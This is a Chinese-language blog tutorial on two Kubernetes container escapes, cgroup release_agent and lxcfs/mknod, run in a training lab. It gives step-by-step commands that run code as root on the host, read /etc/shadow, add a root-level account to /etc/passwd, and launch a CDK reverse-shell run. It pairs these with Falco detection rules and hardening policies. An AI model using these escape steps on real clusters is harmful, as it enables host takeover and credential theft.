iT邦幫忙

2026 iThome 鐵人賽

DAY 9
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 9 篇

Day 9|逃逸第二、三式:Cgroup release_agent + lxcfs

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK T1611 Escape to Host——兩種不需要直接 mount 磁碟的容器逃逸手法。

概覽

場景 ATT&CK 逃逸手法 前提條件 攻擊難度
S14 T1611 Cgroup release_agent privileged + cgroup v1 中
S18 T1611 lxcfs devices.allow privileged + lxcfs 掛載 中

昨天的 S13 mount device 是「直球對決」——直接掛載宿主機磁碟。今天的兩種手法更加隱蔽,利用 Linux 核心的 cgroup 和裝置管理機制迂迴突破。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pod -n koad escape-cgroup escape-lxcfs

預期結果:

NAME             READY   STATUS    RESTARTS   AGE
escape-cgroup    1/1     Running   0          ...
escape-lxcfs     1/1     Running   0          ...

如果 Pod 不在 Running 狀態,重新部署:

kubectl apply -f scenarios/privilege-escalation/S14-cgroup-escape.yaml
kubectl apply -f scenarios/privilege-escalation/S18-lxcfs-escape.yaml
kubectl wait --for=condition=Ready pod/escape-cgroup pod/escape-lxcfs -n koad --timeout=60s

2. 開啟 Falco 即時監控

建議另開一個終端視窗,保持 Falco 日誌持續輸出:

# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|cgroup\|release_agent\|mknod\|mount"

在攻擊過程中,Falco 會即時告警。兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。

學習目標

完成本日實作後,你將能夠:

  • 解釋 cgroup v1 release_agent 的逃逸原理
  • 理解 overlay filesystem 的 upperdir 如何成為逃逸跳板
  • 完成 cgroup release_agent 完整逃逸流程(S14)
  • 用 mknod 建立裝置節點進行 lxcfs 逃逸(S18)
  • 觀察 Falco 如何偵測 cgroup 操控和 mknod 操作

S14:Cgroup release_agent 逃逸

Cgroup 是什麼?

cgroup(Control Groups)是 Linux 核心的資源限制機制,容器就是用 cgroup 來限制 CPU、記憶體等資源的。cgroup 有兩個版本:

版本 特點 管理方式 逃逸可能性
cgroup v1 階層式,每個子系統獨立目錄 每個資源一個 hierarchy S14 利用 release_agent
cgroup v2 統一階層,已移除 release_agent 單一統一 hierarchy 此手法無效

原理深入:release_agent 機制

在 cgroup v1 中,每個 cgroup 子系統都有一個 release_agent 檔案。當 cgroup 中的最後一個 process 結束時,如果 notify_on_release 設為 1,核心會在宿主機上執行 release_agent 指定的程式。

關鍵點:release_agent 是由宿主機核心執行的,不是容器內部。

cgroup v1 的 release_agent 流程:

為什麼需要 overlay upperdir?

容器的檔案系統使用 overlay filesystem。容器內寫入的檔案實際存在宿主機的 overlay upperdir 中。攻擊者在容器內建立 /cmd 腳本,這個檔案在宿主機上的路徑是 $upperdir/cmd。release_agent 需要指向宿主機路徑,所以必須找到 overlay upperdir。

容器視角:                    宿主機視角:
  /cmd                        /var/lib/docker/overlay2/abc.../diff/cmd
  ↑                           ↑
  容器的檔案路徑                overlay upperdir 中的實際路徑
                              (= release_agent 需要的路徑)

KOAD 場景 YAML

apiVersion: v1
kind: Pod
metadata:
  name: escape-cgroup
  namespace: koad
  labels:
    koad-scenario: S14
    mitre-attck: T1611
    escape-method: cgroup-release-agent
spec:
  containers:
    - name: attacker
      image: ubuntu:22.04
      command: ["sh", "-c"]
      args:
        - |
          echo "=== KOAD-S14: Cgroup release_agent Escape ==="
          sleep infinity
      securityContext:
        privileged: true      # ← 需要 privileged 才能 mount cgroup

同樣需要 privileged: true,但逃逸方式完全不同——不是掛載磁碟,而是利用核心的通知機制。

YAML 設計解析

securityContext:
  privileged: true    # 允許 mount cgroup filesystem(需要 CAP_SYS_ADMIN)
                      # 允許寫入 release_agent、notify_on_release
                      # 同時關閉 seccomp,不攔截 mount 系統呼叫

與 S13 相同都用 privileged: true,但攻擊向量完全不同。S13 利用 /dev 裝置存取,S14 利用 cgroup v1 的 release_agent 核心機制。這展示了單一設定錯誤可以被多種手法利用。YAML 中沒有 hostPath 或 hostPID——攻擊者只需要 mount cgroup filesystem 的能力。

設計理由

S14 是 2020 年 Felix Wilhelm 公開的 PoC 手法,曾被多個 CTF 和實際攻擊使用。選擇此場景是因為它展示了一個與 S13 完全不同的逃逸維度:不依賴磁碟掛載,而是利用 Linux 核心的 cgroup 通知機制在宿主機上執行任意指令。這個手法只對 cgroup v1 有效,cgroup v2 已移除 release_agent 機制,學員可以藉此理解核心版本升級對安全的影響。

動手攻擊:完整步驟

步驟 1:進入 Pod 並確認 cgroup 版本

# 主機終端
kubectl exec -it -n koad escape-cgroup -- bash

預期結果:

root@escape-cgroup:/#

成功進入特權容器的 shell。接下來確認 cgroup 版本,決定 release_agent 手法是否可行。

以下步驟 2–7 都在容器內(escape-cgroup)執行。

# 容器內 (escape-cgroup)
stat -fc %T /sys/fs/cgroup/

預期結果:

tmpfs

顯示 tmpfs 代表 cgroup v1,可以繼續。如果顯示 cgroup2fs,表示 cgroup v2,此手法無效。

進入 Pod 並確認 cgroup v1

步驟 2:掛載 cgroup 子系統

mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp

預期結果:

(無輸出表示成功)

成功在容器內掛載了宿主機的 cgroup 檔案系統——這是 release_agent 逃逸的前提。特權容器的 CAP_SYS_ADMIN 讓 mount 操作得以通過。

掛載 rdma cgroup 子系統

踩坑提醒:rdma 子系統可能不存在。如果 mount 失敗,試試 memory、pids、cpu 等子系統。不要選擇已經有大量 cgroup 的子系統(如 cpu),因為清理起來更複雜。mount -t cgroup -o pids cgroup /tmp/cgrp 通常也可行。

步驟 3:建立子 cgroup 並啟用通知

mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
cat /tmp/cgrp/x/notify_on_release

預期結果:

1

notify_on_release=1 表示當 cgroup 中最後一個 task 離開時,kernel 會執行 release_agent 指定的程式。

建立子 cgroup 並啟用 notify_on_release

步驟 4:找到容器在宿主機上的路徑

host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo $host_path

預期結果:

/var/lib/docker/overlay2/xxxx/diff

這個路徑是容器的 overlay filesystem 在宿主機上的對應位置。容器內的 /cmd 會對應到宿主機上的 $host_path/cmd。

取得容器在宿主機上的 overlay 路徑

踩坑提醒:在某些容器 runtime(如 containerd 不使用 overlay)中,upperdir 可能找不到。確認容器 runtime 使用的 storage driver:docker info | grep "Storage Driver" 或查看 /proc/self/mountinfo 的內容。

步驟 5:設定 release_agent

echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent

預期結果:

/var/lib/docker/overlay2/xxxx/diff/cmd

告訴核心:當 cgroup 釋放時,執行宿主機上的這個腳本。

Falco 觀察:寫入 release_agent 時,Falco 監控視窗應該出現 Critical 告警:

[CRITICAL] KOAD S14 Cgroup Manipulation (pod=escape-cgroup file=release_agent)

設定 release_agent 指向容器內的腳本

步驟 6:建立惡意腳本

cat > /cmd << 'EOF'
#!/bin/sh
id > /tmp/cgrp_escape_proof
cat /etc/hostname >> /tmp/cgrp_escape_proof
date >> /tmp/cgrp_escape_proof
EOF
chmod +x /cmd

預期結果:

(無輸出,腳本已建立)

這個腳本在容器內建立,但因為 overlay filesystem 的映射,它也出現在宿主機的 $host_path/cmd。

建立將在宿主機上執行的惡意腳本

步驟 7:觸發 release_agent

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

預期結果:

(無輸出)

sh 執行完 echo 就結束,cgroup.procs 變空,觸發 notify_on_release → kernel 執行 release_agent。

sleep 1
cat /tmp/cgrp_escape_proof

預期結果:

uid=0(root) gid=0(root) groups=0(root)
minikube
Tue Aug 19 10:30:00 UTC 2026

uid=0(root) + minikube 確認腳本是在宿主機上以 root 身份執行的——容器逃逸成功。

確認 release_agent 腳本在宿主機上以 root 執行

逃逸路徑圖

逃逸路徑圖

與 S13 的差異

比較 S13 mount device S14 cgroup release_agent
操作方式 掛載磁碟 + chroot 利用核心通知機制
需要 privileged privileged + cgroup v1
存取方式 互動式 shell 單次指令執行(需多步建立 reverse shell)
隱蔽性 低(mount 操作明顯) 較高(利用合法的核心機制)
持久性 可以修改宿主機檔案 可以建立 reverse shell 或 cron job
偵測難度 容易(mount syscall) 較難(write to release_agent 較少見)

cgroup v2 的影響

cgroup v2 移除了 release_agent 機制。如果宿主機使用 cgroup v2(Ubuntu 22.04+ 預設),S14 手法不可用:

# 檢查 cgroup 版本
$ stat -fc %T /sys/fs/cgroup/
cgroup2fs    # ← cgroup v2,S14 無效
tmpfs        # ← cgroup v1,S14 可用

# 更詳細的檢查
$ mount | grep cgroup
cgroup2 on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime)
# ↑ cgroup v2

cgroup on /sys/fs/cgroup/cpu type cgroup (rw,nosuid,nodev,noexec,relatime,cpu)
# ↑ cgroup v1(個別子系統掛載)

踩坑提醒:Minikube 使用的 Linux 核心和發行版決定了 cgroup 版本。Docker Desktop 的 Minikube VM 通常仍使用 cgroup v1。如果你的環境是 cgroup v2,可以用 --cgroup-driver=cgroupv1 啟動 Minikube(需要特定 VM driver)。

生產環境的現實:Ubuntu 22.04+、Fedora 31+、RHEL 9+ 等主流發行版已預設使用 cgroup v2。根據 Datadog 2025 容器報告,超過 70% 的生產 K8s 叢集執行在 cgroup v2 環境。這代表 S14 的 release_agent 逃逸在多數現代生產環境中已失效——cgroup v2 的統一階層設計根本沒有 release_agent 檔案可供寫入。

從防禦角度看,遷移到 cgroup v2 是一種「被動防禦」——不需要額外配置就能封堵一整類逃逸路徑。但這不代表可以放鬆:S13(privileged mount)和 S15-S19 的逃逸手法不依賴 release_agent,在 cgroup v2 環境仍然有效。縱深防禦(PSS + seccomp + gVisor)仍然不可省略。


S18:lxcfs 逃逸

lxcfs 是什麼?

lxcfs(FUSE filesystem for LXC)是一個用來讓容器內的 /proc/cpuinfo、/proc/meminfo 等檔案反映容器的資源限制而非宿主機的工具。

原理深入:devices cgroup 的攻擊面

Linux 使用 devices cgroup 來控制容器可以存取哪些裝置。普通容器的 devices.list 只允許少數安全的裝置:

# 普通容器的 devices.list
$ cat /sys/fs/cgroup/devices/devices.list
c 1:3 rwm      # /dev/null
c 1:5 rwm      # /dev/zero
c 1:7 rwm      # /dev/full
c 1:8 rwm      # /dev/random
c 1:9 rwm      # /dev/urandom
c 5:0 rwm      # /dev/tty
c 5:2 rwm      # /dev/ptmx

特權容器的 devices.allow 可以設為 a(all),允許存取所有裝置——包括宿主機的磁碟(/dev/sda = major 8, minor 0)。

普通容器:                    特權容器 + devices.allow 'a':
  /dev/null  ✓                 /dev/null  ✓
  /dev/zero  ✓                 /dev/zero  ✓
  /dev/sda   ✗ (blocked)       /dev/sda   ✓ ← 可以 mknod 建立!
  /dev/sdb   ✗ (blocked)       /dev/sdb   ✓
  /dev/mem   ✗ (blocked)       /dev/mem   ✓ ← 直接讀取記憶體

KOAD 場景 YAML

apiVersion: v1
kind: Pod
metadata:
  name: escape-lxcfs
  namespace: koad
  labels:
    koad-scenario: S18
    mitre-attck: T1611
    escape-method: lxcfs
spec:
  containers:
    - name: attacker
      image: ubuntu:22.04
      command: ["sh", "-c"]
      args:
        - |
          echo "=== KOAD-S18: lxcfs Escape ==="
          sleep infinity
      securityContext:
        privileged: true          # ← 需要特權模式
      volumeMounts:
        - name: lxcfs
          mountPath: /var/lib/lxcfs      # ← 掛載 lxcfs
  volumes:
    - name: lxcfs
      hostPath:
        path: /var/lib/lxcfs
        type: DirectoryOrCreate

注意:S18 除了 privileged: true,還額外掛載了 /var/lib/lxcfs。

動手攻擊:完整步驟

步驟 1:進入 Pod 並檢查 devices cgroup

# 主機終端
kubectl exec -it -n koad escape-lxcfs -- bash

預期結果:

root@escape-lxcfs:/#

成功進入特權容器。特權模式賦予了完整的 Linux capabilities,包括 CAP_MKNOD 和 CAP_SYS_ADMIN,這是後續建立裝置節點的前提。

以下步驟 2–5 都在容器內(escape-lxcfs)執行。

# 容器內 (escape-lxcfs)
cat /sys/fs/cgroup/devices/devices.list

預期結果:

a *:* rwm

a *:* rwm 表示所有裝置都允許存取——因為是特權容器。

進入 Pod 並確認 devices cgroup 允許所有裝置

步驟 2:確認宿主機磁碟的 major/minor 號

cat /proc/partitions

預期結果:

major minor  #blocks  name
   8        0   62914560 sda
   8        1   61353984 sda1
   8        2     131072 sda2

sda 的 major 號是 8,minor 號是 0。這是 mknod 建立裝置節點所需的參數。

確認磁碟裝置的 major/minor 號碼

步驟 3:用 mknod 建立裝置節點

mknod /dev/sda b 8 0
mknod /dev/sda1 b 8 1
ls -la /dev/sda*

預期結果:

brw-r--r-- 1 root root 8, 0 Aug 19 10:30 /dev/sda
brw-r--r-- 1 root root 8, 1 Aug 19 10:30 /dev/sda1

mknod 建立了 block device 節點。普通容器的 CAP_MKNOD 被移除所以會失敗;特權容器有完整 capabilities 所以可以執行。

Falco 觀察:執行 mknod 後,Falco 監控視窗應該出現 Critical 告警:

[CRITICAL] KOAD S18 Device Node Created (pod=escape-lxcfs command=mknod /dev/sda b 8 0)

用 mknod 建立宿主機磁碟的裝置節點

步驟 4:使用 debugfs 存取(唯讀)

debugfs /dev/sda1

預期結果:

debugfs 1.46.5 (30-Dec-2021)
debugfs:

debugfs 成功開啟宿主機磁碟的檔案系統。這個工具直接操作 ext2/ext3/ext4 的底層結構,完全繞過 mount 權限檢查和檔案系統層級的存取控制。

在 debugfs 互動式介面中:

debugfs: cat /etc/shadow

預期結果:

root:$6$xxxx:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::

debugfs 不需要 mount,直接讀取 filesystem 的裸資料。

用 debugfs 讀取宿主機密碼雜湊

步驟 5:直接 mount(讀寫存取)

mkdir /mnt/host
mount /dev/sda1 /mnt/host
ls /mnt/host/

預期結果:

bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  ...

宿主機的完整根檔案系統已經掛載成功——從 lxcfs 的裝置節點逃逸到宿主機磁碟存取,攻擊鏈完成。

cat /mnt/host/etc/shadow
$ echo "attacker:x:0:0::/root:/bin/bash" >> /mnt/host/etc/passwd

逃逸路徑圖

逃逸路徑圖

S18 與 S13 的差異

比較 S13 mount device S18 lxcfs devices.allow
攻擊入口 /dev 已暴露 需透過 devices.allow 開放
裝置來源 宿主機 /dev 直接可見 需 mknod 建立裝置節點
額外需求 無 lxcfs 掛載(或 cgroup 可寫)
隱蔽性 低 中(多一個 mknod 步驟)

設計理由

S18 刻意選擇 lxcfs 逃逸,因為它代表一類容易被忽略的攻擊面:為了改善容器可觀測性而引入的工具反而打開了逃逸路徑。許多企業(尤其是從 LXC 遷移到 K8s 的團隊)會在節點上部署 lxcfs 讓容器內的 /proc/meminfo 顯示正確的 cgroup 限制值,卻沒意識到搭配特權模式時,devices.allow 被設為 a,攻擊者可以用 mknod 建立任意裝置節點存取宿主機磁碟。

YAML 中的關鍵漏洞欄位:

  • privileged: true:讓 devices.allow 開放所有裝置,且賦予 CAP_MKNOD 能力
  • hostPath: /var/lib/lxcfs:模擬真實環境中 lxcfs 的掛載方式
  • 兩者結合才構成完整攻擊鏈——單獨的 hostPath 或單獨的 privileged 都不足以觸發這條逃逸路徑

這個場景的教學價值在於讓學員理解:安全評估不能只看容器本身的配置,還要考慮節點上安裝的輔助工具可能擴大的攻擊面。


CDK:自動化容器逃逸工具

CDK(Container exploit toolkit)是一個開源的容器滲透測試工具,可以自動偵測和利用逃逸漏洞:

# 在容器內執行 CDK 自動評估
$ cdk evaluate

[*] Checking capabilities...
[+] CAP_SYS_ADMIN: YES
[+] CAP_SYS_PTRACE: YES
[+] CAP_MKNOD: YES

[*] Checking escape vectors...
[+] Privileged container detected!
[+] cgroup v1 release_agent available
[+] devices.allow writable
[+] /var/run/docker.sock mounted

[*] Available exploits:
  - mount-device    (S13)
  - cgroup-escape   (S14)
  - lxcfs-escape    (S18)
  - docker-sock     (S15)

CDK 可以自動化整個逃逸流程:

# 自動利用 cgroup release_agent 逃逸
$ cdk run shim-pwn "<reverse-shell-command>"

# CDK 的內部流程:
# 1. 自動偵測 cgroup 版本
# 2. 找到 overlay upperdir
# 3. 建立 release_agent payload
# 4. 觸發 notify_on_release
# 5. 執行 payload(reverse shell)

踩坑提醒:CDK 是紅隊工具,只應在授權的滲透測試中使用。KOAD 的 attacker 容器已經內建了 CDK。在真實環境中,攻擊者也可能上傳 CDK 的靜態編譯版本(單一 binary,無依賴)。


Falco 偵測規則

KOAD S14:Cgroup 操控

- rule: KOAD S14 Cgroup Manipulation
  desc: Detect cgroup escape via release_agent
  condition: >
    open_write and container and
    (fd.name contains "release_agent" or
     fd.name contains "notify_on_release")
  output: >
    Cgroup release_agent manipulation detected
    (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
     file=%fd.name command=%proc.cmdline)
  priority: CRITICAL
  tags: [KOAD, T1611, privilege-escalation]

偵測原理:監視容器內對 release_agent 和 notify_on_release 檔案的寫入操作。這兩個檔案在正常容器操作中幾乎不會被寫入,所以誤報率極低。

KOAD S18:裝置節點建立

- rule: KOAD S18 Device Node Created
  desc: Detect mknod in container (lxcfs escape)
  condition: >
    evt.type = mknod and container and
    not k8s.ns.name in (kube-system)
  output: >
    Device node created in container
    (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
     file=%evt.arg.path command=%proc.cmdline)
  priority: CRITICAL
  tags: [KOAD, T1611, privilege-escalation]

偵測原理:容器內部不應該呼叫 mknod 系統呼叫——這幾乎 100% 是逃逸嘗試。

偵測覆蓋率分析

逃逸步驟 Falco 偵測 偵測時機
S14 mount cgroup mount syscall 偵測 攻擊開始時
S14 write release_agent KOAD S14 規則 攻擊準備階段
S14 write notify_on_release KOAD S14 規則 攻擊準備階段
S14 payload 執行 宿主機上執行,容器 Falco 看不到 逃逸後(需要 host Falco)
S18 mknod KOAD S18 規則 攻擊進行中
S18 mount mount syscall 偵測 攻擊進行中

踩坑提醒:S14 的 payload 在宿主機上執行後,容器內的 Falco 無法偵測到。需要在宿主機上也部署 Falco(DaemonSet 的 hostPID: true + hostNetwork: true)或在宿主機上直接安裝 Falco agent。


三式逃逸的共通防禦

S13、S14、S18 三種逃逸手法都有一個共同前提:privileged: true。

防禦速查

# Pod Security Standards — Restricted
# 自動阻擋以下配置
spec:
  containers:
    - securityContext:
        privileged: false                  # 禁止特權
        allowPrivilegeEscalation: false    # 禁止提權
        capabilities:
          drop: ["ALL"]                    # 移除所有 capabilities
          add: []                          # 不添加任何 capability
        seccompProfile:
          type: RuntimeDefault             # 啟用 seccomp

防禦層級對照表

防禦層 措施 阻擋 S13 阻擋 S14 阻擋 S18
Admission PSS Restricted 是 是 是
Admission Kyverno koad-block-privileged 是 是 是
syscall seccomp(阻擋 mount) 是 部分 是
syscall seccomp(阻擋 mknod) — — 是
LSM AppArmor deny mount 是 部分 是
Runtime Falco 偵測 偵測 偵測 偵測

Kyverno 策略範例

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: koad-block-privileged
spec:
  validationFailureAction: Audit    # 先 Audit 再切 Enforce
  rules:
    - name: deny-privileged
      match:
        any:
          - resources:
              kinds: ["Pod"]
      validate:
        message: "Privileged containers are not allowed"
        pattern:
          spec:
            containers:
              - securityContext:
                  privileged: "false"

原理深入:overlay filesystem 如何成為逃逸跳板

S14 逃逸的關鍵在於 overlay filesystem 的架構。理解它對所有容器逃逸都有幫助:

容器的 overlay filesystem 結構:

攻擊者利用這個機制:在容器內寫檔案 → 檔案出現在宿主機的 overlay upperdir → 透過 release_agent / core_pattern 讓核心在宿主機上執行這個檔案。


CKS 考點

領域 考點 權重
System Hardening seccomp profile 阻擋 mount/mknod 10%
Minimize Microservice SecurityContext 最佳實踐 20%
Minimize Microservice PSS Restricted 配置 20%

CKS 模擬題

題目:為 Namespace web-apps 配置 Pod Security Standards 為 Restricted,並驗證特權容器無法建立。

# 設定 PSS
kubectl label namespace web-apps \
  pod-security.kubernetes.io/enforce=restricted \
  pod-security.kubernetes.io/audit=restricted \
  pod-security.kubernetes.io/warn=restricted

# 驗證(建立特權 Pod 應該失敗)
kubectl run priv-test --image=busybox -n web-apps \
  --overrides='{"spec":{"containers":[{
    "name":"test","image":"busybox",
    "securityContext":{"privileged":true}
  }]}}'
# Error from server (Forbidden)

清理與重設

完成攻擊演練後,清理環境以便後續場景使用:

# 容器內(escape-cgroup):清理 cgroup 掛載
umount /tmp/cgrp 2>/dev/null
rm -rf /tmp/cgrp /cmd /tmp/cgrp_escape_proof

# 離開容器
exit

# 容器內(escape-lxcfs):清理裝置節點和掛載
umount /mnt/host 2>/dev/null
rm -f /dev/sda /dev/sda1
rm -rf /mnt/host

# 離開容器
exit

如果需要完全重設 Pod 環境:

# 主機終端
kubectl delete pod -n koad escape-cgroup escape-lxcfs
kubectl apply -f scenarios/privilege-escalation/S14-cgroup-escape.yaml
kubectl apply -f scenarios/privilege-escalation/S18-lxcfs-escape.yaml

本日小結

你完成了什麼

  • [x] 確認 cgroup v1 環境(stat -fc %T /sys/fs/cgroup/ → tmpfs)
  • [x] 掛載 cgroup 子系統並設定 release_agent
  • [x] 利用 overlay upperdir 映射,讓核心在宿主機上執行容器內的腳本
  • [x] 確認 release_agent 腳本以宿主機 root 身份執行
  • [x] 用 mknod 建立宿主機磁碟裝置節點(S18 lxcfs)
  • [x] 用 debugfs 讀取宿主機檔案系統
  • [x] 觀察 Falco 偵測 cgroup 操控和 mknod 操作

完成度自我檢查

  • [ ] 能用 stat -fc %T /sys/fs/cgroup/ 判斷系統使用 cgroup v1 或 v2
  • [ ] 能執行 S14 設定 release_agent 並在宿主機上執行指令
  • [ ] 能解釋 cgroup v2 為什麼移除 release_agent 以及對此攻擊的影響
  • [ ] 能執行 S18 用 mknod 建立磁碟裝置節點並用 debugfs 讀取宿主機檔案
  • [ ] 能比較 S13(mount device)與 S14(release_agent)的攻擊前提和隱蔽性差異
  • [ ] 觀察到 Falco 偵測 cgroup 操控和 mknod 操作的告警

關鍵帶走

  1. Cgroup release_agent:利用核心的 cgroup 通知機制,在宿主機上以 root 執行任意指令。比 mount device 更隱蔽,但受限於 cgroup v1。
  2. lxcfs:利用 devices.allow 開放所有裝置存取,再用 mknod 建立磁碟節點。需要額外的 lxcfs 掛載。
  3. 三種逃逸手法的共通防禦:不要使用 privileged: true。

下一步

明天 Day 10 我們繼續第四、五式——Docker.sock 掛載逃逸和 /proc core_pattern 逃逸。這兩種手法不一定需要完整的特權容器。



上一篇
Day 8|逃逸第一式:Privileged 容器 mount device
下一篇
Day 10|逃逸第四、五式:Docker.sock + /proc core_pattern
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 12 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言